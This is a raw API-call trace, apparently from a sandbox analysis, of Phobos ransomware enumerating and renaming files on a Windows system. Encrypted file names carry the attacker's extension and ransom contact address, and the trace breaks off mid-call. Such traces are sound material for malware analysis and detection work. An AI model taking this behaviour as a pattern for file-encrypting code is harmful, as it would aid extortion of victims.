lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedd9a495, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedd9a495, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedea5496, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x572, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SAVEIC~1.PHO")) returned 1 [0124.382] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeddc07b0, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeddc07b0, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xede0cac2, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x9062, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPI~1.PHO")) returned 1 [0124.382] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xede0cac2, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xede0cac2, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xede913c2, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x2892, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="STOPIC~1.PHO")) returned 1 [0124.382] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xede913c2, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xede913c2, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedecb876, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x572, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SYSREQ~1.PHO")) returned 1 [0124.382] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedea5496, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedea5496, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedecb876, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x582, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SYSREQ~2.PHO")) returned 1 [0124.382] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedecb876, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedecb876, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedef18e2, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x2892, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="WARNIC~1.PHO")) returned 1 [0124.383] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedecb876, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedecb876, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedef18e2, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x2892, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="WARNIC~1.PHO")) returned 0 [0124.383] FindClose (in: hFindFile=0x7b5a20 | out: hFindFile=0x7b5a20) returned 1 [0124.383] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36c4090 | out: hHeap=0xe70000) returned 1 [0124.383] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9aa4d3, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee9aa4d3, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee9d06c8, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xf22, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="header.bmp.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="HEADER~1.PHO")) returned 1 [0124.383] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xefd2f705, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xadd395d, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="netfx_Core.mzz.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="NETFX_~1.PHO")) returned 1 [0124.383] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xeea1c954, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x290312, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="netfx_Core_x64.msi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="NETFX_~2.PHO")) returned 1 [0124.386] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea1c954, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeea1c954, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeefec682, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x11c112, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="netfx_Core_x86.msi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="NETFX_~3.PHO")) returned 1 [0124.386] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf31ad2c7, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x29e23d9, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="netfx_Extended.mzz.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="NETFX_~4.PHO")) returned 1 [0124.386] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd2f705, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xefd2f705, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xefda85ff, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xd5112, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="netfx_Extended_x64.msi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="NE0C7B~1.PHO")) returned 1 [0124.387] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff6ba8e, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeff6ba8e, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeffb7f7b, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x79112, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="netfx_Extended_x86.msi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="NE4478~1.PHO")) returned 1 [0124.387] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9d06c8, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee9d06c8, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeea42c73, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x427b2, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="ParameterInfo.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="PARAME~1.PHO")) returned 1 [0124.387] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeffb7f7b, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeffb7f7b, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xf0050a48, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x2d312, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="RGB9RAST_x64.msi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="RGB9RA~1.PHO")) returned 1 [0124.387] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0050a48, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xf0050a48, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xf009cec4, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x17312, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="RGB9Rast_x86.msi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="RGB9RA~2.PHO")) returned 1 [0124.387] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf009cec4, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xf009cec4, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xf00c30ad, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x13242, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Setup.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPE~1.PHO")) returned 1 [0124.387] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00c30ad, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xf00c30ad, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xf04c916b, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xc5252, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="SetupEngine.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPE~2.PHO")) returned 1 [0124.387] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0abec4b, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xf0abec4b, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xf0d6d830, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x48252, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="SetupUi.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPU~2.PHO")) returned 1 [0124.387] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9f6892, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee9f6892, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeeb4ddcb, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x76a2, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="SetupUi.xsd.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPU~1.PHO")) returned 1 [0124.387] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0d6d830, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xf0d6d830, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xf0dbac0c, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x17862, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="SetupUtility.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPU~3.PHO")) returned 1 [0124.387] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea42c73, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeea42c73, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeeab5356, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xa182, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="SplashScreen.bmp.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SPLASH~1.PHO")) returned 1 [0124.388] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0dbac0c, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xf0dbac0c, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xf0fa9bd9, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x23522, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="sqmapi.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SQMAPI~1.PHO")) returned 1 [0124.388] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeadb6c2, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeeadb6c2, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeee4d509, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x3802, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Strings.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="STRING~1.PHO")) returned 1 [0124.388] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb4ddcb, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeeb4ddcb, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeeebb3d7, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x98f2, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="UiInfo.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="UIINFO~1.PHO")) returned 1 [0124.388] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeee4d509, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeee4d509, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeefaece4, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x19782, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="watermark.bmp.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="WATERM~1.PHO")) returned 1 [0124.388] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0xf2680385, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x5b5245, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Windows6.0-KB956250-v6001-x64.msu.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="WINDOW~1.PHO")) returned 1 [0124.388] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0xf2eb25d8, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x2d7652, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Windows6.0-KB956250-v6001-x86.msu.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="WINDOW~2.PHO")) returned 1 [0124.388] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0xf4248d9e, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x59b300, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Windows6.1-KB958488-v6001-x64.msu.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="WINDOW~3.PHO")) returned 1 [0124.388] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xf412c8d6, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x2cae2b, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Windows6.1-KB958488-v6001-x86.msu.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="WINDOW~4.PHO")) returned 1 [0124.388] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xf412c8d6, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x2cae2b, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Windows6.1-KB958488-v6001-x86.msu.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="WINDOW~4.PHO")) returned 0 [0124.388] FindClose (in: hFindFile=0x7b5ee0 | out: hFindFile=0x7b5ee0) returned 1 [0124.389] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x3674068 | out: hHeap=0xe70000) returned 1 [0124.390] FindNextFileW (in: hFindFile=0x7b6120, lpFindFileData=0x3c3f640 | out: lpFindFileData=0x3c3f640*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c3f868, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0124.390] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\*", lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName=".", cAlternateFileName="")) returned 0x7b5fa0 [0124.391] FindNextFileW (in: hFindFile=0x7b5fa0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="..", cAlternateFileName="")) returned 1 [0124.453] FindNextFileW (in: hFindFile=0x7b5fa0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xac3efa99, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xac3efa99, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="BCD", cAlternateFileName="")) returned 1 [0126.954] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe78f78 | out: hHeap=0xe70000) returned 1 Thread: id = 175 os_tid = 0xf00 [0124.170] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x38) returned 0xe71518 [0124.170] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x18) returned 0xe79198 [0124.170] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x528 [0124.170] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x52c [0124.170] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x530 [0124.170] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10000) returned 0x3684070 [0124.170] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x1333979, lpParameter=0x3d7f790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x534 [0124.171] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x1333979, lpParameter=0x3d7f790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x538 [0124.171] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10000) returned 0x3694078 [0124.172] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x3d7f508 | out: lpFindFileData=0x3d7f508*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3d7f730, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x7b5da0 [0124.196] GetLastError () returned 0x0 [0124.196] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x214) returned 0xe791b8 [0124.196] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x759a0000 [0124.196] GetCurrentThreadId () returned 0xf00 [0124.196] SetLastError (dwErrCode=0x0) [0124.196] GetLastError () returned 0x0 [0124.197] SetLastError (dwErrCode=0x0) [0124.197] GetLastError () returned 0x0 [0124.197] SetLastError (dwErrCode=0x0) [0124.197] GetLastError () returned 0x0 [0124.197] SetLastError (dwErrCode=0x0) [0124.197] GetLastError () returned 0x0 [0124.197] SetLastError (dwErrCode=0x0) [0124.197] GetLastError () returned 0x0 [0124.197] SetLastError (dwErrCode=0x0) [0124.197] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10000) returned 0x36a4080 [0124.197] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\*", lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName=".", cAlternateFileName="")) returned 0x7b5ea0 [0124.197] FindNextFileW (in: 